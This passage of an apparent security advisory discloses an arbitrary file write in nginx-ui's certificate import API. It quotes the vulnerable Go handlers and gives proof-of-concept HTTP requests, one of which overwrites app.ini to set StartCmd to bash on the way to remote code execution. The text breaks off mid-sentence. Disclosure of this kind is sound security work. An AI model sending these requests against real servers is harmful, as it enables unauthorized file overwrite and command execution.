### Summary The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72 ```go func AddCert(c *gin.Context) { var json struct { Name string `json:"name"` SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"` SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"` SSLCertificate string `json:"ssl_certificate"` SSLCertificateKey string `json:"ssl_certificate_key"` ChallengeMethod string `json:"challenge_method"` DnsCredentialID int `json:"dns_credential_id"` } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, } err := certModel.Insert() if err != nil { api.ErrHandler(c, err) return } content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, } err = content.WriteFile() if err != nil { api.ErrHandler(c, err) return } c.JSON(http.StatusOK, Transformer(certModel)) } ``` https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15 ```go func (c *Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil. err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return } err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return } if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } } if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } } return } ``` ### PoC ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# ls -la /tmp/test* -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2 ``` It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app. ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login ``` Then we overwrite the `StartCmd` with `bash` ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = [email protected]\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash ``` For the new config to be appl